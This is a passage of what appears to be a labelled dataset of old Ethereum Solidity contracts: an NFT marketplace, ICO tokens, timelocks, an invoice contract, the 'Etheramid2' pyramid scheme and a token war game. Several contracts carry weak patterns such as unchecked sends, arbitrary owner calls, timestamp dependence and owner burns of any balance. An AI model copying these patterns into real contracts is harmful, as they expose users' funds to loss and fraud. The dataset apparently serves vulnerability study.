function list(address _tokenSeller, uint256 _tokenId, uint256 _startingPrice, uint256 _minimumPrice, uint256 _durationSeconds) public nftOnly {
require(_durationSeconds >= minListingSeconds && _durationSeconds <= maxListingSeconds);
require(_startingPrice >= _minimumPrice);
require(! listingActive(_tokenId));
listings[_tokenId] = Listing(_tokenSeller, _startingPrice, _minimumPrice, now, _durationSeconds);
nft.takeOwnership(_tokenId);
TokenListed(_tokenId, _startingPrice, _minimumPrice, _durationSeconds, _tokenSeller);
}
function unlist(address _caller, uint256 _tokenId) public nftOnly {
address _seller = listings[_tokenId].seller;
require(_seller == _caller || address(owner) == _caller);
nft.transfer(_seller, _tokenId);
delete listings[_tokenId];
TokenUnlisted(_tokenId, _caller);
}
function purchase(address _caller, uint256 _tokenId, uint256 _totalPaid) public payable nftOnly {
Listing memory _listing = listings[_tokenId];
address _seller = _listing.seller;
require(_caller != _seller);
require(listingActive(_tokenId));
uint256 _price = currentPrice(_tokenId);
require(_totalPaid >= _price);
delete listings[_tokenId];
nft.transfer(_caller, _tokenId);
_seller.transfer(msg.value);
TokenSold(_tokenId, _price, _totalPaid, _seller, _caller);
}
function currentPrice(uint256 _tokenId) public view returns (uint256) {
Listing memory listing = listings[_tokenId];
require(now >= listing.createdAt);
uint256 _deadline = listing.createdAt + listing.durationSeconds;
require(now <= _deadline);
uint256 _elapsedTime = now - listing.createdAt;
uint256 _progress = (_elapsedTime * 100) / listing.durationSeconds;
uint256 _delta = listing.startingPrice - listing.minimumPrice;
return listing.startingPrice - ((_delta * _progress) / 100);
}
function listingActive(uint256 _tokenId) internal view returns (bool) {
Listing memory listing = listings[_tokenId];
return listing.createdAt + listing.durationSeconds >= now && now >= listing.createdAt;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC721Token is ERC721 {
using SafeMath for uint256;
uint256 private totalTokens;
mapping (uint256 => address) private tokenOwner;
mapping (uint256 => address) private tokenApprovals;
mapping (address => uint256[]) private ownedTokens;
mapping(uint256 => uint256) private ownedTokensIndex;
modifier onlyOwnerOf(uint256 _tokenId) {
require(ownerOf(_tokenId) == msg.sender);
_;
}
function totalSupply() public view returns (uint256) {
return totalTokens;
}
function balanceOf(address _owner) public view returns (uint256) {
return ownedTokens[_owner].length;
}
function tokensOf(address _owner) public view returns (uint256[]) {
return ownedTokens[_owner];
}
function ownerOf(uint256 _tokenId) public view returns (address) {
address owner = tokenOwner[_tokenId];
require(owner != address(0));
return owner;
}
function approvedFor(uint256 _tokenId) public view returns (address) {
return tokenApprovals[_tokenId];
}
function transfer(address _to, uint256 _tokenId) public onlyOwnerOf(_tokenId) {
clearApprovalAndTransfer(msg.sender, _to, _tokenId);
}
function approve(address _to, uint256 _tokenId) public onlyOwnerOf(_tokenId) {
address owner = ownerOf(_tokenId);
require(_to != owner);
if (approvedFor(_tokenId) != 0 || _to != 0) {
tokenApprovals[_tokenId] = _to;
Approval(owner, _to, _tokenId);
}
}
function takeOwnership(uint256 _tokenId) public {
require(isApprovedFor(msg.sender, _tokenId));
clearApprovalAndTransfer(ownerOf(_tokenId), msg.sender, _tokenId);
}
function _mint(address _to, uint256 _tokenId) internal {
require(_to != address(0));
addToken(_to, _tokenId);
Transfer(0x0, _to, _tokenId);
}
function _burn(uint256 _tokenId) onlyOwnerOf(_tokenId) internal {
if (approvedFor(_tokenId) != 0) {
clearApproval(msg.sender, _tokenId);
}
removeToken(msg.sender, _tokenId);
Transfer(msg.sender, 0x0, _tokenId);
}
function isApprovedFor(address _owner, uint256 _tokenId) internal view returns (bool) {
return approvedFor(_tokenId) == _owner;
}
function clearApprovalAndTransfer(address _from, address _to, uint256 _tokenId) internal {
require(_to != address(0));
require(_to != ownerOf(_tokenId));
require(ownerOf(_tokenId) == _from);
clearApproval(_from, _tokenId);
removeToken(_from, _tokenId);
addToken(_to, _tokenId);
Transfer(_from, _to, _tokenId);
}
function clearApproval(address _owner, uint256 _tokenId) private {
require(ownerOf(_tokenId) == _owner);
tokenApprovals[_tokenId] = 0;
Approval(_owner, 0, _tokenId);
}
function addToken(address _to, uint256 _tokenId) private {
require(tokenOwner[_tokenId] == address(0));
tokenOwner[_tokenId] = _to;
uint256 length = balanceOf(_to);
ownedTokens[_to].push(_tokenId);
ownedTokensIndex[_tokenId] = length;
totalTokens = totalTokens.add(1);
}
function removeToken(address _from, uint256 _tokenId) private {
require(ownerOf(_tokenId) == _from);
uint256 tokenIndex = ownedTokensIndex[_tokenId];
uint256 lastTokenIndex = balanceOf(_from).sub(1);
uint256 lastToken = ownedTokens[_from][lastTokenIndex];
tokenOwner[_tokenId] = 0;
ownedTokens[_from][tokenIndex] = lastToken;
ownedTokens[_from][lastTokenIndex] = 0;
ownedTokens[_from].length--;
ownedTokensIndex[_tokenId] = 0;
ownedTokensIndex[lastToken] = tokenIndex;
totalTokens = totalTokens.sub(1);
}
}
contract PineappleArcadeTrophy is ERC721Token, Pausable {
string public constant name = "PineappleArcadeTrophy";
string public constant symbol = "DEGEN";
Marketplace public marketplace;
uint256 public maxTrophies;
mapping (uint256 => bytes32) public trophies;
function PineappleArcadeTrophy(uint256 _maxTrophies) public {
maxTrophies = _maxTrophies;
pause();
}
function setMarketplace(Marketplace _marketplace) external onlyOwner {
marketplace = _marketplace;
}
function grantTrophy(address _initialOwner, bytes32 _trophyName) external onlyOwner {
require(totalSupply() < maxTrophies);
require(_trophyName != 0x0);
trophies[nextId()] = _trophyName;
_mint(_initialOwner, nextId());
}
function listTrophy(uint256 _trophyId, uint256 _startingPriceWei, uint256 _minimumPriceWei, uint256 _durationSeconds) external whenNotPaused {
address _trophySeller = ownerOf(_trophyId);
require(_trophySeller == msg.sender);
approve(marketplace, _trophyId);
marketplace.list(_trophySeller, _trophyId, _startingPriceWei, _minimumPriceWei, _durationSeconds);
}
function unlistTrophy(uint256 _trophyId) external {
marketplace.unlist(msg.sender, _trophyId);
}
function currentPrice(uint256 _trophyId) public view returns(uint256) {
return marketplace.currentPrice(_trophyId);
}
function purchaseTrophy(uint256 _trophyId) external payable whenNotPaused {
uint256 _blockadeFee = (msg.value * 375) / 10000;
uint256 _sellerTake = msg.value - _blockadeFee;
marketplace.purchase.value(_sellerTake)(msg.sender, _trophyId, msg.value);
}
function withdrawBalance() external onlyOwner {
owner.transfer(this.balance);
}
function nextId() internal view returns (uint256) {
return totalSupply() + 1;
}
} | 1 | 2,862 |
pragma solidity ^0.4.19;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() internal {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract BagholderERC20 is Ownable {
using SafeMath for uint256;
mapping (address => uint256) held;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) internal allowed;
uint256 public constant blockEndICO = 1525197600;
string public constant standard = "ERC20 Bagholder";
uint8 public constant decimals = 8;
uint256 public totalSupply;
string public name;
string public symbol;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function heldOf(address _owner) public view returns (uint256 balance) {
return held[_owner];
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(block.timestamp > blockEndICO || msg.sender == owner);
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
held[_to] = block.number;
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
held[_to] = block.number;
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public onlyOwner returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public onlyOwner returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public onlyOwner returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) public onlyOwner returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
}
interface tokenRecipient {
function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public ;
}
contract Bagholder is BagholderERC20 {
uint256 constant initialSupply = 0;
string constant tokenName = "Bagholder";
string constant tokenSymbol = "BAG";
address public BagholderAddr = 0x02cEE5441eFb50C1532a53F3EAA1E074621174F2;
uint256 public constant minPrice = 75000000000000;
uint256 public buyPrice = minPrice;
uint256 public tokenReward = 0;
uint256 public tokenUnit = uint256(10)**decimals;
event LogDeposit(address sender, uint amount);
event LogWithdrawal(address receiver, uint amount);
function Bagholder() public {
totalSupply = initialSupply;
name = tokenName;
symbol = tokenSymbol;
}
function () public payable {
buy();
}
modifier status() {
_;
if (block.timestamp < 1520272800){
if (totalSupply < 50000000000000){
buyPrice = 75000000000000;
} else {
buyPrice = 80000000000000;
}
} else if (block.timestamp < 1521136800){
buyPrice = 80000000000000;
} else if (block.timestamp<1522605600){
buyPrice = 85000000000000;
} else if (block.timestamp < 1523815200){
buyPrice = 90000000000000;
} else {
buyPrice = 100000000000000;
}
}
function deposit() public payable onlyOwner returns(bool success) {
assert (this.balance + msg.value >= this.balance);
tokenReward = this.balance / totalSupply;
LogDeposit(msg.sender, msg.value);
return true;
}
function withdrawReward() public status {
require (block.number - held[msg.sender] > 172800);
held[msg.sender] = block.number;
uint256 ethAmount = tokenReward * balances[msg.sender];
msg.sender.transfer(ethAmount);
LogWithdrawal(msg.sender, ethAmount);
}
function withdraw(uint value) public onlyOwner {
msg.sender.transfer(value);
LogWithdrawal(msg.sender, value);
}
function buy() public payable status {
require (totalSupply <= 10000000000000000);
require(block.timestamp < blockEndICO);
uint256 tokenAmount = (msg.value / buyPrice)*tokenUnit ;
transferBuy(msg.sender, tokenAmount);
BagholderAddr.transfer(msg.value);
}
function transferBuy(address _to, uint256 _value) internal returns (bool) {
require(_to != address(0));
totalSupply = totalSupply.add(_value*2);
held[_to] = block.number;
balances[BagholderAddr] = balances[BagholderAddr].add(_value);
balances[_to] = balances[_to].add(_value);
Transfer(this, _to, _value);
Transfer(this, BagholderAddr, _value);
return true;
}
function burn(address addr) public onlyOwner{
totalSupply=totalSupply.sub(balances[addr]);
balances[addr]=0;
}
} | 1 | 3,721 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint a, uint b) internal pure returns(uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
uint c = a / b;
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
assert(c >= a);
return c;
}
function max64(uint64 a, uint64 b) internal pure returns(uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal pure returns(uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal pure returns(uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal pure returns(uint256) {
return a < b ? a : b;
}
}
contract ERC20Basic {
uint public totalSupply;
function balanceOf(address who) public constant returns(uint);
function transfer(address to, uint value) public;
event Transfer(address indexed from, address indexed to, uint value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns(uint);
function transferFrom(address from, address to, uint value) public;
function approve(address spender, uint value) public;
event Approval(address indexed owner, address indexed spender, uint value);
}
contract VT201811004 {
using SafeMath for uint256;
event Released(uint256 amounts);
event InvalidCaller(address caller);
address public owner;
address[] private _beneficiary ;
uint256 private _locktime;
uint256 private _unlocktime;
uint256[] private _amount;
constructor() public
{
owner = msg.sender;
_unlocktime =0;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function beneficiary() public view returns(address[]) {
return _beneficiary;
}
function unlocktime() public view returns(uint256) {
return _unlocktime;
}
function locktime() public view returns(uint256) {
return _locktime;
}
function amount() public view returns(uint256[]) {
return _amount;
}
function setLockTime(uint256 locktimeParam,uint256 unlocktimeParam) public onlyOwner{
_unlocktime = unlocktimeParam;
_locktime = locktimeParam;
}
function setUserInfo(address[] beneficiaryParam,uint256[] amountParam) public onlyOwner{
if( block.timestamp <=_locktime){
_beneficiary = beneficiaryParam;
_amount = amountParam;
}
}
function release(ERC20 token) public {
for(uint i = 0; i < _beneficiary.length; i++) {
if(block.timestamp >= _unlocktime ){
token.transfer(_beneficiary[i], _amount[i].mul(10**18));
emit Released( _amount[i]);
_amount[i]=0;
}
}
}
function checkRelease(ERC20 token) public {
uint _unRelease = 0;
for(uint i = 0; i < _amount.length; i++) {
_unRelease = _unRelease.add(_amount[i]);
}
if(_unRelease==0 && block.timestamp >= _unlocktime ){
token.transfer(owner,token.balanceOf(this));
}
}
} | 1 | 2,820 |
contract owned {
address public owner;
function owned() {
owner = msg.sender;
}
modifier onlyOwner {
if (msg.sender != owner) throw;
_;
}
function transferOwnership(address newOwner) onlyOwner {
owner = newOwner;
}
}
contract SmartexInvoice is owned {
address sfm;
event IncomingTx(
uint indexed blockNumber,
address sender,
uint value,
uint timestamp
);
event RefundInvoice(
address invoiceAddress,
uint timestamp
);
function SmartexInvoice(address target, address owner) {
sfm = target;
transferOwnership(owner);
}
function refund(address recipient) onlyOwner {
RefundInvoice(address(this), now);
}
function sweep(address _to) payable onlyOwner {
if (!_to.send(this.balance)) throw;
}
function advSend(address _to, uint _value, bytes _data) onlyOwner {
_to.call.value(_value)(_data);
}
function() payable {
IncomingTx(block.number, msg.sender, msg.value, now);
}
} | 0 | 413 |
contract Etheramid1{
function getParticipantById (uint id) constant public returns ( address inviter, address itself, uint totalPayout );
function getParticipantCount () public constant returns ( uint count );
}
contract Etheramid2 {
struct Participant {
address inviter;
address itself;
uint totalPayout;
}
mapping (address => Participant) Tree;
mapping (uint => address) Index;
uint Count = 0;
address public top;
uint constant contribution = 1 ether;
Etheramid1 eth1 = Etheramid1(0x9758DA9B4D001Ed2d0DF46d25069Edf53750767a);
uint oldUserCount = eth1.getParticipantCount();
function Etheramid2() {
moveOldUser(0);
top = Index[0];
}
function() {
throw;
}
function moveOldUser (uint id) public {
address inviter;
address itself;
uint totalPayout;
(inviter, itself, totalPayout) = eth1.getParticipantById(id);
if ((Tree[itself].inviter != 0x0) || (id >= oldUserCount)) throw;
addParticipant(inviter, itself, totalPayout);
}
function getParticipantById (uint id) constant public returns ( address inviter, address itself, uint totalPayout ){
if (id >= Count) throw;
address ida = Index[id];
inviter = Tree[ida].inviter;
itself = Tree[ida].itself;
totalPayout = Tree[ida].totalPayout;
}
function getParticipantByAddress (address adr) constant public returns ( address inviter, address itself, uint totalPayout ){
if (Tree[adr].itself == 0x0) throw;
inviter = Tree[adr].inviter;
itself = Tree[adr].itself;
totalPayout = Tree[adr].totalPayout;
}
function addParticipant(address inviter, address itself, uint totalPayout) private{
Index[Count] = itself;
Tree[itself] = Participant( {itself: itself, inviter: inviter, totalPayout: totalPayout});
Count +=1;
}
function getParticipantCount () public constant returns ( uint count ){
count = Count;
}
function enter(address inviter) public {
uint amount = msg.value;
if ((amount < contribution) || (Tree[msg.sender].inviter != 0x0) || (Tree[inviter].inviter == 0x0)) {
msg.sender.send(msg.value);
throw;
}
addParticipant(inviter, msg.sender, 0);
address next = inviter;
uint rest = amount;
uint level = 1;
while ( (next != top) && (level < 7) ){
uint toSend = rest/2;
next.send(toSend);
Tree[next].totalPayout += toSend;
rest -= toSend;
next = Tree[next].inviter;
level++;
}
next.send(rest);
Tree[next].totalPayout += rest;
}
} | 0 | 941 |
pragma solidity ^0.4.25;
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b > 0);
uint256 c = _a / _b;
return c;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a);
uint256 c = _a - _b;
return c;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
require(c >= _a);
return c;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract Ownable {
address private owner;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
}
contract ERC20 is Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
uint256 private _totalSupply;
function totalSupply() external view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function transfer(address from, address to, uint256 value) public onlyOwner returns (bool) {
_transfer(from, to, value);
return true;
}
function mint(address account, uint256 value) public onlyOwner returns (bool) {
_mint(account, value);
return true;
}
function burn(address account, uint256 value) public onlyOwner returns (bool) {
_burn(account, value);
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
}
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
}
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
}
}
contract KingdomStorage is ERC20 {
using SafeMath for uint256;
uint private _kingdomsCount;
struct Kingdom {
uint numberOfCitizens;
uint numberOfWarriors;
uint prosperity;
uint defence;
uint lostCoins;
uint tributeCheckpoint;
}
mapping (uint => address) private kingdomAddress;
mapping (address => Kingdom) private kingdoms;
event War(address indexed _attacked, address indexed _invader, uint _lostCoins, uint _slayedWarriors);
function addCitizens(address _address, uint _number, bool _are_warriors) external onlyOwner {
if (kingdoms[_address].prosperity == 0) {
kingdomAddress[_kingdomsCount] = _address;
kingdoms[_address].prosperity = 50;
kingdoms[_address].defence = 50;
_kingdomsCount++;
}
if (_are_warriors) {
kingdoms[_address].numberOfWarriors = kingdoms[_address].numberOfWarriors.add(_number);
} else {
kingdoms[_address].numberOfCitizens = kingdoms[_address].numberOfCitizens.add(_number);
kingdoms[_address].tributeCheckpoint = block.timestamp;
}
}
function getTribute(address _address) external onlyOwner {
uint tributeValue = getTributeValue(_address);
if (tributeValue > 0) {
mint(_address, tributeValue);
kingdoms[_address].tributeCheckpoint = block.timestamp;
kingdoms[_address].lostCoins = 0;
}
}
function startWar(address _invader, address _attacked) external onlyOwner {
uint invaderWarriorsNumber = getWarriorsNumber(_invader);
require (invaderWarriorsNumber >0);
uint attackedKingdomBalance = balanceOf(_attacked);
uint attackedKingdomWealth = getTributeValue(_attacked).add(attackedKingdomBalance);
uint attackedKingdomDefence = getDefence(_attacked);
uint attackPower = invaderWarriorsNumber.mul(100 - attackedKingdomDefence);
if (attackPower > attackedKingdomWealth)
attackPower = attackedKingdomWealth;
uint slayedWarriors;
if (attackedKingdomWealth > 10000) {
slayedWarriors = invaderWarriorsNumber.mul(attackedKingdomDefence).div(100);
kingdoms[_invader].numberOfWarriors -= slayedWarriors;
}
uint lostCoins;
if (attackedKingdomBalance >= attackPower) {
transfer(_attacked, _invader, attackPower);
lostCoins += attackPower;
attackPower = 0;
} else if (attackedKingdomBalance > 0) {
transfer(_attacked, _invader, attackedKingdomBalance);
lostCoins += attackedKingdomBalance;
attackPower -= attackedKingdomBalance;
}
if (attackPower > 0) {
kingdoms[_attacked].lostCoins += attackPower;
mint(_invader, attackPower);
lostCoins += attackPower;
}
emit War(_attacked, _invader, lostCoins, slayedWarriors);
}
function warFailed(address _invader) external onlyOwner {
emit War(address(0), _invader, 0, 0);
}
function increaseProsperity(address _address) external onlyOwner {
if (kingdoms[_address].prosperity <= 90) {
kingdoms[_address].prosperity += 10;
kingdoms[_address].defence -= 10;
}
}
function increaseDefence(address _address) external onlyOwner {
if (kingdoms[_address].defence <= 80) {
kingdoms[_address].defence += 10;
kingdoms[_address].prosperity -= 10;
}
}
function getTributeValue(address _address) public view returns(uint) {
uint numberOfCitizens = getCitizensNumber(_address);
if (numberOfCitizens > 0) {
return numberOfCitizens.mul(getProsperity(_address)).mul(block.timestamp.sub(getTributeCheckpoint(_address))).div(7 days).sub(getLostCoins(_address));
}
return 0;
}
function getProsperity(address _address) public view returns(uint) {
return kingdoms[_address].prosperity;
}
function getDefence(address _address) public view returns(uint) {
return kingdoms[_address].defence;
}
function getLostCoins(address _address) public view returns(uint) {
return kingdoms[_address].lostCoins;
}
function getCitizensNumber(address _address) public view returns(uint) {
return kingdoms[_address].numberOfCitizens;
}
function getWarriorsNumber(address _address) public view returns(uint) {
return kingdoms[_address].numberOfWarriors;
}
function getTributeCheckpoint(address _address) public view returns(uint) {
return kingdoms[_address].tributeCheckpoint;
}
function getKingdomAddress(uint _kingdomId) external view returns(address) {
return kingdomAddress[_kingdomId];
}
function kingdomsCount() external view returns(uint) {
return _kingdomsCount;
}
}
contract GreenRabbitKingdom is IERC20 {
using SafeMath for uint;
address admin;
uint invested;
uint payed;
uint startTime;
uint tokenStartPrice;
string public name = 'GreenRabbitCoin';
string public symbol = 'GRC';
uint public decimals = 0;
event LogNewGame(uint _startTime);
KingdomStorage private kingdom;
modifier notOnPause() {
require(startTime <= block.timestamp, "Game paused");
_;
}
constructor() public {
admin = msg.sender;
kingdom = new KingdomStorage();
startTime = now;
tokenStartPrice = 1 szabo;
}
function() external payable {
if (msg.value == 0 && msg.value <= 0.00001 ether) {
sellTokens();
} else if (msg.value == 0.000111 ether) {
addCitizens(false);
} else if (msg.value == 0.000222 ether) {
addCitizens(true);
} else if (msg.value == 0.000333 ether) {
increaseProsperity();
} else if (msg.value == 0.000444 ether) {
increaseDefence();
} else {
buyTokens();
}
}
function totalSupply() external view returns (uint256) {
return kingdom.totalSupply();
}
function transfer(address to, uint256 value) external returns (bool) {
kingdom.getTribute(msg.sender);
return kingdom.transfer(msg.sender, to, value);
}
function balanceOf(address owner) public view returns (uint256) {
return kingdom.balanceOf(owner);
}
function buyTokens() notOnPause public payable {
require (msg.value >= 0.001 ether);
uint tokensValue = msg.value.div(getTokenSellPrice()).mul(90).div(100);
kingdom.mint(msg.sender, tokensValue);
admin.send(msg.value / 20);
emit Transfer(address(0), msg.sender, tokensValue);
}
function sellTokens() notOnPause public {
kingdom.getTribute(msg.sender);
uint tokensValue = balanceOf(msg.sender);
uint payout = tokensValue.mul(getTokenSellPrice());
if (payout > 0) {
if (payout > address(this).balance) {
msg.sender.transfer(address(this).balance);
nextGame();
return;
}
msg.sender.transfer(payout);
kingdom.burn(msg.sender, tokensValue);
emit Transfer(msg.sender, address(0), tokensValue);
}
}
function addCitizens(bool _are_warriors) notOnPause public {
kingdom.getTribute(msg.sender);
uint CitizensNumber = balanceOf(msg.sender).div(100);
if (CitizensNumber > 0) {
kingdom.addCitizens(msg.sender,CitizensNumber,_are_warriors);
kingdom.burn(msg.sender, CitizensNumber * 100);
}
}
function attackKingdom(address _invader, uint _random) notOnPause public returns(bool) {
require (msg.sender == 0x76d7aed5ab1c4a5e210d0ccac747d097f9d58966);
uint attackedKingdomId = _random % (kingdom.kingdomsCount());
address attackedKingdomAddress = kingdom.getKingdomAddress(attackedKingdomId);
if (_invader != attackedKingdomAddress) {
kingdom.startWar(_invader, attackedKingdomAddress);
} else {
kingdom.warFailed(_invader);
}
return true;
}
function increaseProsperity() notOnPause public {
kingdom.getTribute(msg.sender);
kingdom.increaseProsperity(msg.sender);
}
function increaseDefence() notOnPause public {
kingdom.getTribute(msg.sender);
kingdom.increaseDefence(msg.sender);
}
function synchronizeTokensBalance() notOnPause public {
kingdom.getTribute(msg.sender);
}
function getTokenSellPrice() public view returns(uint) {
return tokenStartPrice.add( tokenStartPrice.div(100).mul(block.timestamp.sub(startTime).div(1 days)) );
}
function getGameAge() external view returns(uint) {
if (block.timestamp > startTime)
return block.timestamp.sub(startTime).div(1 days).add(1);
else
return 0;
}
function getKingdomsCount() external view returns(uint) {
return kingdom.kingdomsCount();
}
function getKingdomData(address _address) external view returns(uint numberOfCitizens, uint numberOfWarriors, uint prosperity, uint defence, uint balance) {
numberOfCitizens = kingdom.getCitizensNumber(_address);
numberOfWarriors = kingdom.getWarriorsNumber(_address);
prosperity = kingdom.getProsperity(_address);
defence = kingdom.getDefence(_address);
balance = kingdom.getTributeValue(_address) + balanceOf(_address);
}
function getBalance() external view returns(uint) {
return address(this).balance;
}
function nextGame() private {
kingdom = new KingdomStorage();
startTime = block.timestamp + 3 days;
emit LogNewGame(startTime);
}
} | 0 | 801 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
assert(token.transfer(to, value));
}
function safeTransferFrom(
ERC20 token,
address from,
address to,
uint256 value
)
internal
{
assert(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
assert(token.approve(spender, value));
}
}
contract TokenTimelock {
using SafeERC20 for ERC20Basic;
ERC20Basic public token;
address public beneficiary;
uint256 public releaseTime;
constructor(
ERC20Basic _token,
address _beneficiary,
uint256 _releaseTime
)
public
{
require(_releaseTime > block.timestamp);
token = _token;
beneficiary = _beneficiary;
releaseTime = _releaseTime;
}
function release() public {
require(block.timestamp >= releaseTime);
uint256 amount = token.balanceOf(this);
require(amount > 0);
token.safeTransfer(beneficiary, amount);
}
} | 1 | 2,859 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
